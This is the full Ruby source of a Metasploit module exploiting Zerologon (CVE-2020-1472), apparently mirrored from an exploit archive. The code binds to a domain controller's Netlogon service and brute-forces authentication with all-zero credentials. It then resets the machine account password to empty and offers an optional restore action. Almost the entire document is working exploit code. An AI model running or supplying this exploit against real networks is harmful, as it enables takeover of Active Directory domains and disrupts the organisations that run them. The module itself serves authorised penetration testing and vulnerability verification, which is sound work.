## https://sploitus.com/exploit?id=PACKETSTORM:180777
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'windows_error'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
include Msf::Auxiliary::Report
CheckCode = Exploit::CheckCode
Netlogon = RubySMB::Dcerpc::Netlogon
EMPTY_SHARED_SECRET = OpenSSL::Digest.digest('MD4', '')
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Netlogon Weak Cryptographic Authentication',
'Description' => %q{
A vulnerability exists within the Netlogon authentication process where the security properties granted by AES
are lost due to an implementation flaw related to the use of a static initialization vector (IV). An attacker
can leverage this flaw to target an Active Directory Domain Controller and make repeated authentication attempts
using NULL data fields which will succeed every 1 in 256 tries (~0.4%). This module leverages the vulnerability
to reset the machine account password to an empty string, which will then allow the attacker to authenticate as
the machine account. After exploitation, it's important to restore this password to it's original value. Failure
to do so can result in service instability.
},
'Author' => [
'Tom Tervoort', # original vulnerability details
'Spencer McIntyre', # metasploit module
'Dirk-jan Mollema' # password restoration technique
],
'Notes' => {
'AKA' => ['Zerologon'],
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
},
'License' => MSF_LICENSE,
'Actions' => [
[ 'REMOVE', { 'Description' => 'Remove the machine account password' } ],
[ 'RESTORE', { 'Description' => 'Restore the machine account password' } ]
],
'DefaultAction' => 'REMOVE',
'References' => [
[ 'CVE', '2020-1472' ],
[ 'URL', 'https://www.secura.com/blog/zero-logon' ],
[ 'URL', 'https://github.com/SecuraBV/CVE-2020-1472/blob/master/zerologon_tester.py' ],
[ 'URL', 'https://github.com/dirkjanm/CVE-2020-1472/blob/master/restorepassword.py' ]
]
)
)
register_options(
[
OptPort.new('RPORT', [ false, 'The netlogon RPC port' ]),
OptString.new('NBNAME', [ true, 'The server\'s NetBIOS name' ]),
OptString.new('PASSWORD', [ false, 'The password to restore for the machine account (in hex)' ], conditions: %w[ACTION == RESTORE]),
]
)
end
def peer
"#{rhost}:#{@dport || datastore['RPORT']}"
end
def bind_to_netlogon_service
@dport = datastore['RPORT']
if @dport.nil? || @dport == 0
@dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], Netlogon::UUID, '1.0', 'ncacn_ip_tcp')
fail_with(Failure::NotFound, 'Could not determine the RPC port used by the Microsoft Netlogon Server') unless @dport
end
# Bind to the service
handle = dcerpc_handle(Netlogon::UUID, '1.0', 'ncacn_ip_tcp', [@dport])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
end
def check
bind_to_netlogon_service
status = nil
2000.times do
netr_server_req_challenge
response = netr_server_authenticate3
break if (status = response.error_status) == 0
windows_error = ::WindowsError::NTStatus.find_by_retval(response.error_status.to_i).first
# Try again if the Failure is STATUS_ACCESS_DENIED, otherwise something has gone wrong
next if windows_error == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED
fail_with(Failure::UnexpectedReply, windows_error)
end
return CheckCode::Detected unless status == 0
CheckCode::Vulnerable
end
def run
case action.name
when 'REMOVE'
action_remove_password
when 'RESTORE'
action_restore_password
end
end
def action_remove_password
fail_with(Failure::Unknown, 'Failed to authenticate to the server by leveraging the vulnerability') unless check == CheckCode::Vulnerable
print_good('Successfully authenticated')
report_vuln(
host: rhost,
port: @dport,
name: name,
sname: 'dcerpc',
proto: 'tcp',
refs: references,
info: "Module #{fullname} successfully authenticated to the server without knowledge of the shared secret"
)
response = netr_server_password_set2
status = response.error_status.to_i
fail_with(Failure::UnexpectedReply, "Password change failed with NT status: 0x#{status.to_s(16)}") unless status == 0
print_good("Successfully set the machine account (#{datastore['NBNAME']}$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)")
end
def action_restore_password
fail_with(Failure::BadConfig, 'The RESTORE action requires the PASSWORD option to be set') if datastore['PASSWORD'].blank?
fail_with(Failure::BadConfig, 'The PASSWORD option must be in hex') if /^([0-9a-fA-F]{2})+$/ !~ datastore['PASSWORD']
password = [datastore['PASSWORD']].pack('H*')
bind_to_netlogon_service
client_challenge = OpenSSL::Random.random_bytes(8)
response = netr_server_req_challenge(client_challenge: client_challenge)
session_key = Netlogon.calculate_session_key(EMPTY_SHARED_SECRET, client_challenge, response.server_challenge)
ppp = Netlogon.encrypt_credential(session_key, client_challenge)
response = netr_server_authenticate3(client_credential: ppp)
fail_with(Failure::NoAccess, 'Failed to authenticate (the machine account password may not be empty)') unless response.error_status == 0
new_password_data = ("\x00" * (512 - password.length)) + password + [password.length].pack('V')
response = netr_server_password_set2(
authenticator: Netlogon::NetlogonAuthenticator.new(
credential: Netlogon.encrypt_credential(session_key, [ppp.unpack1('Q') + 10].pack('Q')),
timestamp: 10
),
clear_new_password: Netlogon.encrypt_credential(session_key, new_password_data)
)
status = response.error_status.to_i
fail_with(Failure::UnexpectedReply, "Password change failed with NT status: 0x#{status.to_s(16)}") unless status == 0
print_good("Successfully set machine account (#{datastore['NBNAME']}$) password")
end
def netr_server_authenticate3(client_credential: "\x00" * 8)
nrpc_call('NetrServerAuthenticate3',
primary_name: "\\\\#{datastore['NBNAME']}",
account_name: "#{datastore['NBNAME']}$",
secure_channel_type: :ServerSecureChannel,
computer_name: datastore['NBNAME'],
client_credential: client_credential,
flags: 0x212fffff)
end
def netr_server_password_set2(authenticator: nil, clear_new_password: "\x00" * 516)
authenticator ||= Netlogon::NetlogonAuthenticator.new(credential: "\x00" * 8, timestamp: 0)
nrpc_call('NetrServerPasswordSet2',
primary_name: "\\\\#{datastore['NBNAME']}",
account_name: "#{datastore['NBNAME']}$",
secure_channel_type: :ServerSecureChannel,
computer_name: datastore['NBNAME'],
authenticator: authenticator,
clear_new_password: clear_new_password)
end
def netr_server_req_challenge(client_challenge: "\x00" * 8)
nrpc_call('NetrServerReqChallenge',
primary_name: "\\\\#{datastore['NBNAME']}",
computer_name: datastore['NBNAME'],
client_challenge: client_challenge)
end
def nrpc_call(name, **kwargs)
request = Netlogon.const_get("#{name}Request").new(**kwargs)
begin
raw_response = dcerpc.call(request.opnum, request.to_binary_s)
rescue Rex::Proto::DCERPC::Exceptions::Fault
fail_with(Failure::UnexpectedReply, "The #{name} Netlogon RPC request failed")
end
Netlogon.const_get("#{name}Response").read(raw_response)
end
end